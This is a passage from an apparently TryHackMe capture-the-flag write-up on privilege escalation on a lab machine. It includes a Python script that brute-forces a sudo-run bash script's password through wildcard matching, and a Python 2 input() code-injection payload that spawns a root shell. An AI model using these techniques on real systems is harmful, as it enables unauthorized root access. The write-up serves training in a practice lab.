hansolo@contrabando:~$ echo "test" | sudo /usr/bin/bash /usr/bin/vault
Password does not match!
hansolo@contrabando:~$ echo "*" | sudo /usr/bin/bash /usr/bin/vault

Password matched!
1. Lightsaber Colors: ....
....

We could use a bash loop to bruteforce the password one char at a time.

hansolo@contrabando:~$ for i in {A..z}; do echo -n "Trying $i* : "; echo "$i*" | sudo /usr/bin/bash /usr/bin/vault; done
Trying A* : Password does not match!
Trying B* : Password does not match!
Trying C* : Password does not match!
Trying D* : Password does not match!
Trying E* :
Password matched!
1. Lightsaber Colors: ...

I wrote a python script to automate the process to check each character in ascii printable range and bruteforce the password.

bruteforce.py
#!/usr/bin/env python3
import subprocess
import string

CMD = ["sudo", "/usr/bin/bash", "/usr/bin/vault"]


CHARS = string.ascii_letters + string.digits + string.punctuation
CHARS = CHARS.replace("*", "").replace("?", "").replace("[", "").replace("]", "")

def run_with_input(candidate: str) -> bool:
    proc = subprocess.run(
        CMD,
        input=candidate + "*\n",
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT
    )
    out = proc.stdout.strip()
    return "Password matched!" in out

def brute_force():
    found = ""
    while True:
        progress = False
        for c in CHARS:
            attempt = found + c
            print(f"\33[2K\r[+] Progress: {found}{c}", end="", flush=True)
            if run_with_input(attempt):
                found += c
                progress = True
                break
        if not progress:
            print(f"\33[2K\r[!] Final password: {found[:-1]}")
            break

if __name__ == "__main__":
    brute_force()
hansolo@contrabando:~$ python3 bruteforce.py
[!] Final password: EQ**REDACTED**fZ

Python2 Code Injection

The password works for hansolo, we can now use this to run the second command in sudo -l

hansolo@contrabando:~$ su - hansolo
Password:
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hansolo may run the following commands on contrabando:
    (root) NOPASSWD: /usr/bin/bash /usr/bin/vault
    (root) /usr/bin/python* /opt/generator/app.py


hansolo@contrabando:~$ sudo /usr/bin/python3 /opt/generator/app.py
[sudo] password for hansolo:
Enter the desired length of the password: 12
Any words you want to add to the password? aaa
Generated Password: I/YevJ2(ah-f
/opt/generator/app.py
import random
import string

def generate_password(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    random.seed()
    secret = input("Any words you want to add to the password? ")
    password_characters = list(characters + secret)
    random.shuffle(password_characters)
    password = ''.join(password_characters[:length])

    return password

try:
    length = int(raw_input("Enter the desired length of the password: "))
except NameError:
    length = int(input("Enter the desired length of the password: "))
except ValueError:
    print("Invalid input. Using default length of 12.")
    length = 12

password = generate_password(length)
print("Generated Password:", password)

The script generates a random password by taking in two inputs, one for the length of the password and another for any words that the user wants to add to the password.

The problem here doesn't lie in the script itself but instead in the wild card in sudo command entry that allows us to use any python version.

Checking for the installed python versions reveals that python2 is installed on the system.

hansolo@contrabando:~$ ls /usr/bin/python* -l
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python3 -> python3.8
-rwxr-xr-x 1 root root 5490456 Mar 18 20:04 /usr/bin/python3.8
lrwxrwxrwx 1 root root      33 Mar 18 20:04 /usr/bin/python3.8-config -> x86_64-linux-gnu-python3.8-config
lrwxrwxrwx 1 root root      16 Mar 13  2020 /usr/bin/python3-config -> python3.8-config

Python2 input() function is vulnerable as its equivalent to doing eval(raw_input()) on the input string which allows us to execute arbitrary code.

hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
Enter the desired length of the password: 12
Any words you want to add to the password? __import__("os").system("/bin/bash")
root@contrabando:/home/hansolo# id
uid=0(root) gid=0(root) groups=0(root)

root@contrabando:/home/hansolo# cat /root/root.txt
THM{All_A**REDACTED**}